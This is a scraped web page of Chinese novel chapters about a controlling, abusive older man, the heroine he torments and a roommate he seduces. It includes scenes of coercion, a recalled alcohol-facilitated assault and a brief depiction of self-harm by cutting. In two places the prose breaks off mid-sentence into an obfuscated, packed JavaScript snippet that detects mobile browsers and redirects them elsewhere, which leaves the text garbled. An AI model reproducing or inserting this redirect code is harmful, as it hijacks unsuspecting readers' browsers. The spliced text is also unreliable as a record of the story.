结果无非两种——去过,事件结束了;没去过,线索断了。雨水越来越沉重,砸到肩上。宁师傅撑开鸟网,低眉摇了摇头。那一刻,温霖觉得远处站着一个迟暮的老人。 也许他没有讲话。他有他的理由,也许他说得已经够多了。 鸟网在地上铺开,宁师傅卖力弯了腰,把尼龙线卷成便利的形状。网太大,好像怎么都弄不完。温霖披着雨幕往前走。草地化成泥淖,拖着人下陷,他睫毛上挂了水珠,隐约看见雨里浮出第三种答案。 那名中年人,曾经隔着操场的围网看了看她,然后转身离开。 ——他什么都没做。 初三,深秋,封闭集训逐渐迫近,他害怕与师姐断联,特意在信封外加装一层,塞入自己的联系方式。她喜欢推理小说,一定能注意到信里的机关。他竭力捧起心脏等着,今天没消息,还有明天,还有明天的明天…… ——“所有人保持姿势不动,坚持三十秒!” 舞蹈教室又空又冷,不得不咬紧牙关,把墙上的日历当作支点。 二十五,二十六,二十七…… 胶版纸一页页撕掉,那双数着日子的眼睛却逐渐黯淡。 集训期间,师姐无视了他的信号。回到文学社后,他翻遍书架上的木盒,再也找不到画着红桃K标志的来信。 她不见了。 文学社和她同班的学姐都说她半个月没来了。 才两周,才十四天。如果想,总能找到些线索。可后来他做了什么? ——“你疯了吗!” 新哥破开门冲进卧室,死死攥住他的手腕。 咣当。美术刀砸向地板。 锋利的刀尖刻出一道凹陷。阴暗的房间爬满舞蹈演出服,衣柜,床,窗台,桌面,他两眼失焦,用刀片割开每个角落。 左腕上是掐痕,右手是斑驳的红。 鲜血顺着腕骨汩汩流淌。 ——“别管我……” 他每天伤痕累累地去上学,仅此而已。 温霖后悔得太晚了。为什么不打听她的下落,不去追查事情的原委?为什么视野那么窄,那么自以为是,执拗地认为那封信出了问题?错了,错得彻底。已经来不及了。十四天的间隔他都亲手放弃了,还指望十年后再假惺惺地大海捞针拼凑真相吗? 他们其实一样。 沉溺在自己的悲痛里,什么都没做。 雨声是鹭山的哭声,这十年间不知道下过多少场雨。 他颓然抬眼。远处,草木倾斜,树在摇晃,裹着不真切的人影。 那个中年人把身子折成九十度。他的姿势是一贯的,无论弯腰还是伸手,头都用力埋下去,似乎在向对面的年轻人深深鞠躬。 温霖目送她的父亲离开。 山在风雨飘摇中呼啸。最后一段鸟网留在他手心里,绞缠着十年的悔恨。 线索走到了尽头,他抹开脸上的雨水,望向扯网时折断的树枝。树下积水成坑,嫩绿的新叶被雨点打下来,水中飘着一根熄灭的香烟。 * “这话你都说过多少遍了。” “每次我都是认真的。”她说。 车子拐弯开进郊区。北城东边的远郊,她不常来。天黑了,灯影幢幢,更显得路途陌生。 “那先解释解释你的心跳。” 那些一闪而过的光源让她回到心理医生的诊疗室。 ——“有没有考虑过,心悸可能源于创伤反应?” ——“那也是创伤……吗。” ——“我们不能百分之百确定。这就像‘吊桥效应’,可能存在一些因素导致你的交感神经出现高反应性……” “因为我和你在一起的时候感觉很难受。”宁蓁语速越来越快,“你让我觉得有压力,焦虑,恐惧……你让我不得安宁。” 胸口异常发热,神经紧绷,心跳快得要跳出来,是身体出现了战斗或逃跑的反应。 那绝对,不是心动。 但莫昭不以为意,反而笑了,笑得有些黏稠。 “压力,焦虑,恐惧。” 他手指在方向盘上敲着节奏,如数家珍。 “不都是生存在丛林里必不可少的东西?太安逸只配被当成猎物任人鱼肉,从这方面来说,我还锻炼了你。” 太阳穴发胀,宁蓁差点吐出来。 她终于想起自己为什么总是难以反驳莫昭。 原来她早就失去力气了。反正怎么说他都当作耳旁风,到最后都变成他的胡搅蛮缠,不如沉默。 沉默,退避,任由一切发生。 但她不能永远这样下去。 “在你眼里人是动物吗?”她撇了头,视线悬在后视镜上,“弱肉强食是你的生存法则,可我不想过这种生活。” “不想?” 一个急转弯,几乎能听见轮胎碾过水泥地的刹车声。 “你知道多少人争抢着要当莫家的太太么?集团千金,财阀大小姐,那群爸妈挤破头要把女儿往我这儿送。她们梦寐以求的位子你不费吹灰之力就得到了,现在你跟我说‘不想’?” 提及“千金”“大小姐”时,她竟觉得莫昭的语调有几分隐隐的炫耀。他藏得太深了,以至于五年前她完全发现不了。 五年前……为什么他要在温暖的烛光里提起前女友? 莫昭向来以成熟通透自居,声称成年人要为一切后果负责。他反过来用这标准要求她,扣下敏感多疑的指责后冷眼旁观,折磨得她心力交瘁。 那时候宁蓁太年轻。 她试图阻止方善善对王深的倾慕,实际上自己也犯下了同样的错误。 十八岁以后的思绪日新月异。那个男人比大学生们多活了几年,自然胜券在握。 “你……”后视镜里,她的嘴唇僵硬地动了动,“没有拒绝她们。” 她只是猜测。 “我凭什么拒绝?” 车在桥上,底下是深邃的河水。 “宁蓁,你不会以为这四年我没有别的女人吧。” 夜色浓稠,化不开。莫昭的冷笑激起一阵阵恶寒。 “你也不小了,还那么纯情?谁会单恋谁四年——你他妈以为你活在那些垃圾言情小说里啊!” 宁蓁下意识闭上眼,好像他颈侧暴起的青筋突然破溃,喷出一股毒液。 似曾相识的窒息感。 还有什么? 到底忘了什么? 腐烂的玫瑰淹过头顶。宁蓁右手贴向车窗,在透明的玻璃上留下指痕。这算是求救吗?可她只能看见天上挂着一轮又大又圆的、猩红的月亮。 * 阴冷蔓延。外衣被打湿,他掏出手机,水珠来回滑动,指腹反复擦拭屏幕,勉强解了锁。 新消息。 赵安琪一个小时前发的,他差点错过。 「嗨嗨,我忽然福至心灵,想到上次说的奇怪的事了!」 她传来一张照片,拍得很模糊,是超市的饮料柜。 「什么事?」 他打完字,蹲下,从背包中取出一个滑链密封袋。 ——“看看你周围,你拿什么和我争?” ——“把烟掐了。” ——“温霖,你得为今天付出代价。” 她的前男友用鞋尖碾灭火星,扬长而去。烟扔在草地里,他没放过这个证据,手上套着袋子拾起来—— 水坑里的半截香烟,和塑封袋里的。 两根,烟卷的圆周与直径皆相似,排在手心里几乎重叠。 同一个品牌? 那人抽的烟价值不菲,应该不容易出现同款。为什么如此巧合,偏偏掉在捕鸟网下? 难道他的目标不只是沐沐…… 叮咚,又有消息提示音。 「今天路过超市饮料柜,想起我捡过一张校园卡」 ——“我想找的东西就落在那里,那个公园。” 北城二中的校庆上,他提起虐鸟案的事发地,引来赵安琪的疑惑。 ——“这么说的话,的确,我好像顺便捡到过奇奇怪怪的遗失物。” 「上面都是英文,什么University,具体哪个学校我忘了。名字那栏写着ZhaoMo」 温霖呼吸一滞。 时光倒流,十年前,十五岁的女孩怀抱物理试卷小跑着。头上有只鸟叽叽喳喳,唱得很好听,她决定追过去看看,却不小心摔倒在灌木丛里。 糟糕,卷子洒了一地!风吹着,她急忙收拾,手下摸到几根羽毛,还有一张硬硬的卡片。 “哎呀,学生卡?Name:ZhaoMo……英文应该倒过来念吧,MoZhao……” 赵安琪摸摸脑袋,自言自语。 “魔爪?谁会起这么奇怪的名字啊。” 倏忽间,鹭山的细雨变作瓢泼大雨。 竟然……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15151512|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他得立刻告诉她。现在就打电话,不,不知道她能不能接受。要当面说才行。温霖浑身湿透,飞速拨开眼前的雨水:师姐今天还好吗?最近想不想出去走走,观鸟或者去海边…… * ——“人们说,看见红月亮的时候准没好事。” 亲手创作的短篇小说竟成了她的谶。 所有影像愈发遥远。夜空,灯,车牌,兔子摆件,黑巧克力。又是解离症状。引擎的噪音也消退了,意识向上飘,飘到头顶俯瞰着自己。 车停在河边的草地上。 她想下去,车门却封死了。 “想跑?” 湿淋淋的嗓音爬上耳廓:“不记得了?坐在我副驾驶的人,没有一个能轻易离开。” “所以你到底要干什么?” 思绪在飘,宁蓁竭力拉回注意力。 莫昭开了顶灯,光线刺眼。一只手探过来,攥紧她心脏一般抚摸她的长发。 “结婚。” 他的喉结像上下滚动的铁块,眼里满是狰狞的血丝。 “你的基因加上我的基因,我们会有个完美的孩子。你可以教她鸟哨……” 她僵在那儿,双目瞠着,一时来不及回答。 “你总是这样,蓁蓁。”莫昭一个人演着痛彻心扉的独角戏,“反应太冷,太无聊。谁会觉得你有意思?那个年轻的小网红么?” 粗重的鼻息打在脸上。说到温霖时,他的五根手指依次插进她的发丝,死死揪住。 宁蓁被迫仰起头,密密麻麻的痛。 噌——! 脑中瞬间划过尖锐的啸叫。 “我想起来了。”她喃喃道。 “嗯?” “你……” 酒精藏在甜味里,她不知不觉喝了很多。因为果汁的甜能压下威士忌的辛辣,他十分老道,尤其对这种没沾过酒的乖乖女。 ——“不好意思,小朋友喝醉了。” 二十岁的她向下倾倒。男人将她揽进怀里带离酒吧,她迷迷糊糊的,感觉自己一直下坠,下坠,落到很深很深的洞里,最后落到宽阔的大床上。 “唔……这是哪里?” 眼皮好沉,每根睫毛都重得像铅。男人更沉,黑压压的铜墙铁壁,扑在她身上。 “你说呢。” 他笑,一边低语,一边松开领口和领带。 “我不知道。” 她也笑,但她没发现自己在笑。 男人擅长调情,捏住她的下巴往右侧轻转。床边横着一面镜子,光滑的,长长的,映出他们纠缠的肢体。 她不能装傻。他的衣服都脱掉一半了,两条腿趴伏着,蜷着,分开来压制着床单。她忽然觉得那姿势好丑。 “你好像一只牛蛙。” 她被灌了好几瓶酒,拦不住心里的东西往外漏。 男人手上一顿,游刃有余的微笑逐渐凝固。 他审视着女孩的脸,满面醺然,亮晶晶的眼睛噙着醉意。多漂亮,可他全身偾张的血液霎时枯萎,取而代之的是扭曲上涌的怒。 他掀起那滩长发,给了她一巴掌。 噌——! 她开始大喊,尖锐得像划破玻璃,像不间断的警报。 ——宁蓁想起来了。 那是……与“爱”截然相反的东西。 后来莫昭甚至送她安然回家。他没有实施器质性的伤害,却策划了一场漫长的报复。 直到现在。 “你恨我。” 车内,她冰冷地瞪视他。 对,你恨我。 但酒精和慢性创伤让我忘掉了恨意的缘由。 “爱与恨,只有一线之隔。” 莫昭的蛮劲发泄在她的头发上,只要缠住,宁蓁就无法脱身。 她第一次觉得长发这么致命。 “蓁蓁,说你会给我生个孩子……不,应该生两个,三个。” 他似乎忘情地想象着某些场景。 “……” 宁蓁再次阖了眼。 “在祈祷有谁来救你么。”镜片后面,他的双眸渗出精光,“你猜猜我为什么要开来郊区?” 她如同潜水一样屏住呼吸。 “一个害怕人群的人,怎么横穿北城的高峰期?” 傍晚七点。桥上,车辆川流不息,匆忙归家的时候,没有人会为幽邃的河水停留。 “认命吧,你永远也逃不掉。永远。” 55. 告白.a 13. “蓁蓁。” 寝室人齐着。楠楠在上铺外放综艺,凌雪拉起床帘追剧。我染着指甲,脚趾的,风干的过程太无聊,想叫一叫她的名字。 “蓁蓁,看我的趾甲。” 她正蹲在地上擦地板。 脸埋得太低了,看不见。我伸出脚,送到她眼前晃了晃。 “嗯,换颜色了。” 不知道宁蓁是不是敷衍我,头也不抬,只冷淡回了一句,继续清理地上的污渍。 “暑假你打算去哪儿玩?” “应该哪里都不去。”她用抹布摩擦出滋滋声。 “是吗……”我叹了口气,“不过我要去海边度假啦。” 是,她没问,但我想说。 蓁蓁,我早就赢了,可你傻乎乎的,以为比赛还没开始。 9. “不好意思让你破费……” 桌上,他五指交握。那是一双过分精致的手,大而节制,衬得袖口的衣扣都多了一丝矜贵。 “别客气,”他面带笑意,“蓁蓁的朋友也是我的朋友。” 莫昭,我低头默念这个名字。 对他而言,请客吃个人均五百块的餐厅只是随便洒洒水。我不禁感慨宁蓁真的好命,尤其当我眼睛无处可放,只能盯着他的手的时候。我想象他如何摘掉手表撩拨她的头发,从发根到发尾丝丝入扣,停留在锁骨,一路向下…… “打扰一下先生,您订的是情侣套餐对吗?” 桌旁出现了一名穿西装的服务生。 “情侣”两个字突然让我浑身一激灵,好像我脑内的幻想全都撒在了餐盘里。 “是,一杯金汤力换橙汁,麻烦了。” 莫昭点头微笑,目光随着服务生,直到走远。 “抱歉我占了蓁蓁的位置。” 我撇下飘忽的眼神,心里咚咚打鼓。毕竟是情侣套餐,估计宁蓁临时放他鸽子——对,只有这一种可能性。 “嗯?”他转头看向我,笑道,“我今天没约蓁蓁。” 餐厅里流淌着轻柔的钢琴曲。 我怀疑我听错了。 可是心脏为什么像榨出柠檬汁似的猛跳? “那是……” 刚要问什么意思,莫昭却先一步开口。 “其实负责预订的人记混了。他们工作过失要惊动经理,我觉得不至于。” 他压低嗓音轻声解释。原来如此,只是为了帮服务生一把。我笑得嘴角向下,竟然有些失望。 前菜和饮料陆续上桌。社会人喝酒,学生喝橙汁,他已经安排好了。 “……在这种场合,应该聊点什么?” 莫昭约我出来时只说请我吃饭。他请的客不算少,每次都送到宿舍楼下,所以我想也没想就答应了。 “先谢谢你们平时照顾蓁蓁。” 他托起高脚杯,悬在空中等着和我相碰。我匆忙捧着杯子伸手过去。砰。 “不用谢,唔。”橙汁好酸,我不禁眯起一只眼。 莫昭看见我酸涩的表情,垂眸笑道:“今天的橙汁一般?我让他们拿酒水单来。” 我摆摆手,觉得大费周章。他杯子里飘着柠檬,和我身体里的一样。于是我说,来一杯那个就好。 “金汤力啊。”他体贴地确认,颇有分寸,“你今年满十八岁了吧。” “当然,我和蓁蓁同一年。” 我们二十岁。但我不知道为什么要在此时提起宁蓁,明明我希望她从餐桌上消失。 莫昭向服务生招手,然后对我露出一个苦笑。 “同年……可蓁蓁却是那个脾气。你们几个室友也受累了。” 酒水上得飞快。金汤力,应该是某个东西加上金酒,我抿一口,酒精直冲大脑。 “还好啦。她就是……”我努力措辞,“有轻度洁癖。” 服务生举着盘子来了,嘴里流出一串介绍词。莫昭拿起刀叉切牛排,熟练而惬意。 “据我所知,她的原生家庭有点问题,父亲缺位。” “是么……” 我的确不了解她。但那跟我们没关系吧?我反复安慰自己,明明楠楠的妈妈也是后妈……眼前浮现出宁蓁的模样,一张冰冷木然的脸,让人看不懂。很快,她的面容被莫昭的话语打散。 “她敏感,无差别怀疑所有人,而且善妒。” 他将牛肉送入口中细细咀嚼。我模仿他,用刀刃割开,叉子插进肉的纹理,挤出满满的肌红蛋白。刀切到底,磨出刺耳的刺啦声,把盘子染得血红。五分熟,熟度正好,奶香渗入齿缝,和海边现捞现宰的鱼生一样美味。 “我绞尽脑汁给她提供安全感,都没用,现在我觉得和她在一起就是折磨,上天注定的。” 莫昭长长叹了口气,眉眼挂着松松垮垮的疲惫,好像很久没睡好了。 我不禁好奇:“既然她性格这么差劲……你还追她?” 对面深邃的目光抬了起来。 “怎么,蓁蓁和你们说是我在追她?也对,女孩都要面子……” 因为嗓音磁性,他的话不显埋怨,反而暗暗藏着宠溺。 我仔细回想寝室里的场景。宁蓁抱着鲜花和奢侈品包包,却摆手解释不是男友送的。难道她根本在说谎? 眨眼间,金汤力没了三分之一。我又问:“你没追她,为什么送她玫瑰花?” 他无奈笑着:“毕竟是名义上的男女朋友,总得有点情调。” 所以,他们早就在一起了,只是女方不愿意承认。 哼,欲拒还迎的骗子。 我狠狠切着牛排想,蓁蓁,总算看清你了。 “手上动作挺利落。”他忽然打趣道。 “哦,”我眨了眨眼,笑着,“和你学的。” 那天我们聊了好久,从校内到校外,从他的工作到最新上映的电影。好神奇,我肚子很饿,吃得却非常慢,怕一口蛋糕就生生错过眼前的话题。莫昭的谈吐令人如沐春风,有时我自己都不知道在说什么,可他竟然全部都懂得。 “先生,今晚餐品如何,还满意吗?” 餐后,服务生过来问候,莫昭仍然保持着礼貌和微笑。 “女朋友这边觉得怎么样呢?” 一杯酒下去,我的舌头有点打结,他替我点了点头,回了两句客气话。 “非常感谢您的评价。” 服务生鞠躬走远。我小声问,怎么不澄清一下。 莫昭却说,等我走上职场就知道,人们不需要依靠多余的解释活着。 我深深记得那句话,甚至包括他发声的语调,他的唇形。 是的,我不需要做多余的解释。 当晚莫昭开车送我回宿舍。我坐上他的保时捷卡宴,却没有美梦成真的实感。在梦里,我是开车的人,但现在我与梦中相反,在副驾驶的位置,下意识寻找着宁蓁的痕迹。 “对了,送你一份小礼物。” 他右手勾起一个袋子,等我去撷。我借着酒劲儿摘下来,剥得歪七扭八,烂熟的汁液流了满手。 是一条项链,镶着四叶草形状的珍珠。 我对着夜色仔细观摩,像拎起一条金色的绸缎。真不可思议,价值五位数的四叶草首饰竟然在我手心里。 “这是梵……梵克雅宝?” “Alhambra。”他低喃,告诉我项链的名字,“喜欢吗。” 我执着地认为那是蓁蓁不要的礼物。可她连梵克雅宝都看不起吗?我不想要别人剩下的,也不忍心放手。谁能?换成凌雪和楠楠,她们也放不开的。 卡宴启动了,我支支吾吾:“你刚才喝酒了。” “没事的,小酌两口而已。” 莫昭用微笑让我安心。我想起餐桌上的金汤力,一杯空了,另一杯只没了一厘米。一厘米,有多少酒精?我拿不准,但手中的四叶草项链沉甸甸的,提醒我别再多嘴。 车开上路。我因为怕死,心脏怦怦直跳,却难以回绝他的好意。结果呢——担忧是多余的,他开得非常稳,完全不像碰过酒。路灯投下斑斓的光,贴上他棱角分明的侧脸。我能明白蓁蓁为什么爱上他。年上恋人,成熟多金,温柔地托举她去更高的地方。想不出理由不去爱他。 对我,也一样。 车停在学校西面的小巷子里。他熟悉附近的路,知道从哪儿回学校最方便,也最隐蔽。 宿舍楼门禁快到了,临走前,我笑问:“我像不像被包养的女大学生?” 我一定是喝太多酒,腿软,脑子也不灵光。我发誓我只想开个玩笑,或者那时候我又想到了蓁蓁,想象她每次下车匆匆跑回学校的姿势。 总之,我失败了,一点也不好笑。 然而莫昭只是偏过头。 灯几乎全熄了,我感觉到他的眼神一寸寸递过来,想要触碰我。 他身上有浓郁的香味,像绽开的玫瑰。 一厘米的金汤力酒精含量有多少?我想,他应该也醉了。 “你看清楚,我可不是宁蓁……” 车里的光线过分暧昧。他轻轻揉捏着我的左耳,夹杂着迷离的气息吻过来,一阵酥麻。 “嗯,我知道,筱梦。” 1 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203207|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 0. 那天之后,寝室的气氛完全变了。 四叶草项链坠在脖子上,在我胸前闪闪发亮。我不避讳,反正她们不认得。 “哟,新项链,美的咧!”楠楠绕着我八卦,“多少钱?” 我伸出三个手指。 “三百?” 我点头。 “不便宜。”她耸耸肩,“唉,我要是拿了奖学金也能随便买买买啦。” 我开玩笑说:“下学期就是你。” “得了吧!”楠楠撞一下我胳膊,“谁学得过班级第一呀。” 她抱着书去准备周五的pre。宿舍门关上又缓缓推开,宁蓁回来了。 “嗨!蓁蓁。” 我满脸笑容,主动和她打招呼。 “嗨……” 她身子顿了顿才抬起手,受宠若惊似的,目光迟钝地瞟着我脖子上的项链。 没关系,看吧。我的胸口不再空虚,胃和后背也不痛了。上学期我拿了年级前三才能入选的学院奖学金,可你,蓁蓁,你好像什么都没有。我知道自己比你优秀,我不会再为了你失魂落魄了。 就连莫昭都说,我才是他命中注定的人。 第二次约会,他带我参观他的家。位置在北城偏东北方向,高端楼盘,几百平米的平层。我没亲眼见过这种房型,他一个人住的地方够整座幼儿园的小孩进去捉迷藏。 “蓁蓁都没来过。”莫昭笑着,“不用拘谨,我临时要处理工作,你先随便转转。对了,冰箱里有饮料。” 他走进右手边的走廊,消失了。 我跑到落地窗边,天上一颗热烈的火球,看得我头晕目眩。 太阳,好近啊。这一秒是我离太阳最近的时候。 “冰箱里有饮料”,但莫昭忘了告诉我哪个冰箱。他家属于极简主义,颜色简单,拼出的线条冷冽凌厉。一面纯黑的墙撞过来,再一面纯白的,像交替行进的默片。我在走廊里迷了路,干脆对着一面全身镜停下,拿出唇釉补妆。 房子里唯一的装饰是镜子,有圆的、方的、朴素的和四周镶着钻的,带来一股清凉感。镜面能扩大视觉空间,可他家已经够大了。 厨房在哪呢,厨房…… 我左顾右盼,走得口渴,终于找到冰箱。那里头摆着圆锥形的矿泉水,整齐到一丝不苟的程度,牌子是外文,不知道什么意思。 “咔哒。” 随手拿下一瓶,房间突然响了一声。 豪宅的隔音层屏蔽了外界噪音,衬得那道声音格外清晰。 “我还找你呢,原来在这儿。” 莫昭忽然出现,吓我一跳。 他的工作都处理完了,我才发现自己迷路的时间有整整半个小时。 “地方太大了,找不到路。”我笑笑,朝他靠近,“你小时候是不是也喜欢游乐场里的哈哈镜迷宫?不然怎么家里装了那么多镜子。” “嗯?”他顺手搂住我的肩,“哪种迷宫。” “就那种啊,一个帐篷支起来,小小的入口,进去分不清眼前的是镜子还是路,要用手摸索着走,不然一头撞上死路,好痛的。” 我记得帐篷外曾经传来“铛!铛!铛!”的撞头声,一想到里面的人脑门都磕红了,就觉得相当滑稽。 莫昭保持微笑,却说:“我没玩过那种东西。” “是吗。”我眨眨眼。 “我小时候家教严厉,学语言,钢琴和马术,和游乐园无缘。” 他话里含着叹息。也对,优秀的人没有时间享乐。如果上学期我没日夜泡图书馆,也拿不到这次的学院奖学金。 “来都来了,顺便带你看看这里有什么。” 话题飞速转移。莫昭执起我的手,让我触碰冰箱旁边的墙。 这座房间很奇怪,又细又窄,一个冰箱,一面圆镜,没有其他东西,加上深蓝色的墙体,像海里的沉船打捞处。他宽阔的手掌覆盖着我的,每根手指与我交叉,慢慢埋进去。 墙被按开了。 原来那里有一道暗门,藏得严丝合缝,后面才是房间的全貌。 门内黑漆漆的,寂静无声,只有我的脚步激起回音。我回头看了看他,背光的脸,看不清。他似乎笑了,抚上我的手臂,告诉我不用怕。 珍贵的东西才保存在密室里。莫昭紧紧握着我的手向前走,却在某一刻毫无征兆地松开。 “你去哪儿了?” 我茫然停在原地。 那时,灯从四面八方亮起。他磁性的声音带着一丝愉悦,和光一起递过来。 “看,我多年的收藏。” 56. 告白.b 骤亮的光让人下意识眯起眼。 缝隙中闪过白色光斑,隐约有东西在光斑里飞来飞去,扇动翅膀衔走了我眼里漂浮的雾。 雾散了。 我看见四四方方的白墙上,规整地挂着数不清的鸟。 “那是……标本?” 我瞠目结舌。 “我收集了十年。”他仰头环视四周,仿佛在环顾一座森林。 “天啊……” 我忍不住惊呼。它们简直活着一样,每一根羽毛都散发着独特的光泽。 莫昭捧起我的手:“你摸摸看。” 我以前见过这种场面,小学组织去市博物馆秋游,老师带我们看了蝴蝶展览,墙上五颜六色琳琅满目,我还买了宽带青凤蝶标本做的书签。 对,这里就像自然博物馆,可我的指尖怎么在发抖? “不、不了!我怕弄坏……”我连忙收回手,“你收集这些很辛苦吧?” 莫昭笑笑,也不强求,牵着我沿墙依次浏览。 “制作过程的确繁琐,但都克服下来了。” “你自己做的?亲手?” 我诧异地问,但他的确就是那个意思。那双生意场上翻云覆雨的手,细细密密缝起了一切。 “嗯。你最喜欢哪个?” 莫昭忽然顺了一下我的头发,手背碰着脸颊停留,一瞬间触电的感觉。 心砰砰直跳,我来不及细看,瞎指了只灰色小鸟,嘴巴弯弯尖尖。 “哦,这个啊,”他勾起薄唇,“山噪鹛,北城常见。” 密室里温度低,吹着阴凉的风。我打了个寒战:“墙上所有的你都认识?” “当然。” 我们路过的每一只鸟都有名字,比如褐头山雀,比如攀雀、短趾百灵和太平鸟。我不知道他用了哪种材料制作标本,甚至不确定它们的名称怎么写。他告诉我很多,很多鸟从面前飞过,但我只能记住他如数家珍的神情和深邃的眼睛。 “最后是我最挚爱的作品。” 莫昭低沉的嗓音冲淡了诡异的氛围。 “银喉长尾山雀。” 他眼神迂回流连在那只鸟上。圆的,像灰扑扑的棉花。 我调动情绪说真可爱,还故意往前探了探身子。山雀吊在房间的死路,我们终于走到尽头。 “筱梦。” 莫昭突然喊了我。 “这地方是秘密,我们两个人的……别告诉蓁蓁。” 我嘴角僵了,因为蓁蓁。听见她的名字,我身体里的火一下子烧起来,越来越旺,越来越焦灼。 “怎么可能告诉她。” 我直视着他的双眼,他也直勾勾看着我,好像我们之间有一场战争,谁先移开视线谁就输了。 坚持,坚持。 呼吸渐渐膨胀,被莫名的情绪填满。我不想输。 “乖。” 是莫昭先松懈了,转而拥着我,低头咬住我的耳朵,鼻息柔软地侵入,很痒。 密室的顶光滴滴答答,浓郁暧昧。他用气声问,今晚想不想留下过夜。 我推了推他手臂作为回应。 我推不开,也不想推开他,但我知道这样别人才能追得更紧。 “别担心,我永远不强迫你做不喜欢的事。” 他绅士,温柔,让我做选择。声音漫过满墙的鸟从耳孔流进来,浸润着我颤抖的身体。 “不,我喜欢。” 11. 我希望莫昭浇息我胸口的火。 事实证明他可以,而且只有他可以。他在我身上移动,说我漂亮,将项链同系列的四叶草手链系在我手腕。身体散发着玫瑰香气相撞,摩擦着卧室的光,一闪一闪。我漂浮起来,心里却一片宁静。 “嘿,又自己偷偷努力哪。” 寝室里,凌雪凑过来看我的书桌。 我飞速撸下袖子盖住梵克雅宝的手链。“没有。” “切,不信。”她假装不屑,“对了,下周英语pre是不是到你?” 我点头,说自选题目的东西学期初就准备好了。 “唉,我要是有你三分之一的努力就好啦。”凌雪半开玩笑,“楠楠呢?” “食堂喽。” “蓁蓁呢?” “谁知道……”我撇了撇嘴。 “估计又有约了。”她甩下书包,“我要去北门买糖葫芦,给你带一根?” “等等!外面好冷,我去吧,正好散步,你等着。” 我扯了个借口溜走。凌雪说蓁蓁有约,那句话激得我心口一阵滚烫。我不太相信,裹上大衣往停车场狂奔。风吹在脸上,我却莫名笑了,忍都忍不住。我不想在停车场看见她。可是真的吗?真不想吗?如果抽丝剥茧的话我会发现自己心底竟然抱着一丝希望,希望她出现在那儿。 结果如我所愿。 停车场,黑色保时捷,宁蓁捧着花束迈上车。 距离很远,但我看得非常清楚。我讨厌她,讨厌到一眼就能从人群中找到她。她系上安全带,低下头,玫瑰淹没了我的视野。我听见自己紧紧咬住牙关的声音,咯吱、咯吱、咯吱。我像她捧花一样捧起胸前的火,蓝色的炽烈的火焰,我不知道该叫它什么,恐怕翻遍字典只能找到“妒火中烧”四个字。 「你,什么时候和蓁蓁分手?」 我气喘吁吁地发消息给莫昭。 校门抬起道闸,卡宴开了出去。 留下的只有尾气。他们走后,我开始后悔,似乎我没有资格和他谈论分手的事。一下午我心神不宁,直到晚上九点,宁蓁敲开寝室的门。 “啊,蓁蓁你回来啦!” 楠楠挡在门口,举着扫帚往她怀里揣:“扫一下地吧!我要去开寝室长会议,拜托啦!” 说完,楠楠飞速跑了出去。宁蓁接过扫帚,通常她沉默的时候,所有人都当做同意。 “你们交往有段时间了,还天天回寝室啊?” 凌雪坐在桌子前刷剧,冷不丁来了一句。 我心脏狂跳,看向宁蓁。她神色淡漠,没露出任何端倪。 “话说,你们发展到哪步了?” 凌雪看似八卦,实际上对蓁蓁与校外人的交往相当轻蔑。她觉得她图莫昭的钱,我们三人的小群里还留着聊天记录,她说“蓁蓁肯定没少让他爆金币”。 “就是……” 宁蓁欲言又止。 她在思考措辞,还是根本不想透露?我仔细读着她眉眼的角度,但她不肯让人读懂。 叮。手机响了。 她一只手解锁屏幕,另一只手握着扫帚,两条胳膊与腰侧之间留有空隙。 时机就在下一秒,我突然扑过去挽住她。 “谁给你发的微信呀?” 我故作亲昵,声音却有点弱。心脏的重量压在她的上臂,扑通扑通变沉。 “也没有谁……” 她犹犹豫豫滑开聊天界面,果然是莫昭。 「到寝室了?」 「嗯」 「好好休息」 琐碎又生分的日常对话。 再抬头,凌雪满脸惊诧地盯着我们,口型在问“你俩怎么忽然变好了”。 她不知道我是为了偷瞄宁蓁的聊天记录,为了看看莫昭平时都和她说些什么。我有目的,绝不是平白无故接近她,但这的确是第一次我和宁蓁挨得这么这么近。 胸中诡谲的火焰又在作祟,几乎烧进我的眼睛。 而她呢,像根木头似的杵在那儿,没甩开胳膊,空留我一个人燃烧。 蓁蓁,我真的,好讨厌你。 后来某个周末,天降大雨,我和莫昭缩在他的新车里等雨势变小。 “你之前问我何时和她分手……” 车停进学校附近的巷子,他的嗓音依然低沉,充满磁性。 我“嗯”了一声。 莫昭深深叹息:“你知道,她原生家庭不好。如果贸然提出分手,我怕她遭受打击,再把这件事闹大。” 我听得懂他的言下之意,他不打算离开她。 “那……我和宁蓁谁更好?” 玫瑰花香馥郁,每次闻见那股香气,我就像被下了蛊一样。 “你啊,”他宠溺又无奈,“说实话,你是我生活里的一道光。今天我为了见你推掉了和蓁蓁的约会……” 男人愈发贴近,尾音全埋进我的唇里。 是么,他放了她鸽子,可我无暇去问他真假。他吻技纯熟,不给人喘息的机会,我眼神发直,楞楞地想,他也对宁蓁这么做吗,也这样托住她脑后的长发,手心一路向下,滑到她单薄的背上吗。 我浑身发紧,余光瞥见大雨里一道沉重的人影。 “有人……” 莫昭被我推离几厘米。我指尖抚上他的脸,沿着薄薄的唇形描摹。他用这双唇亲吻过宁蓁。 “原来你不想被看见。” 他笑了,我的指腹猛地刺痛。 “是,我可不想。” 那阵被他压下去的火又熊熊膨胀,差点把我撕裂。 “二十一岁生日,带你去海岛旅游。” 